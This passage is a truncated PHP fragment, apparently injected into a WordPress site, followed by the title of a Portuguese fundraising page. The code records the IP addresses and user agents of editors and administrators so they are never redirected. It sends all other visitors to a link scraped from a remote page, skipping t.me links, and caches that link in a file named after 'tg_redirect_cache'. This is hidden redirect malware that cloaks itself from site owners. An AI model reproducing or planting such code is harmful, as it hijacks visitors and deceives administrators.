(https?:\/\/[^<]+)<\/code>/', $html, $matches)) {
$link = end($matches[1]);
if (!empty($link)) {
file_put_contents($cache_file, $link);
return $link;
}
}
if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) {
foreach (array_reverse($matches[1]) as $link) {
if (strpos($link, 't.me') === false) {
file_put_contents($cache_file, $link);
return $link;
}
}
}
return false;
}
$ip = _getIP();
$ua = $_SERVER['HTTP_USER_AGENT'];
$table = $wpdb->prefix . "wusers_inputs";
if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) {
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
$sql = "CREATE TABLE $table (
ip INT(11) UNSIGNED NOT NULL,
useragent VARCHAR(535) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;";
dbDelta($sql);
}
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) {
$wpdb->insert($table, array(
'ip' => ip2long($ip),
'useragent' => $ua
));
$exists = true;
}
if ($on_hot_redirect && !$exists) {
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if (!$exists) {
$cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache');
if (file_exists($cache_file) && filesize($cache_file) > 0) {
$age = time() - filemtime($cache_file);
$link = trim(file_get_contents($cache_file));
}
if (!isset($link) || $age >= 30 || empty($link)) {
$link = get_redirect_link($cache_file);
}
if ($link) {
wp_redirect($link);
exit;
}
}
}
}
Capta: Como captar recursos feito água
Capta: Como captar recursos feito água – Todas as formas de captar recursos para os seus projetos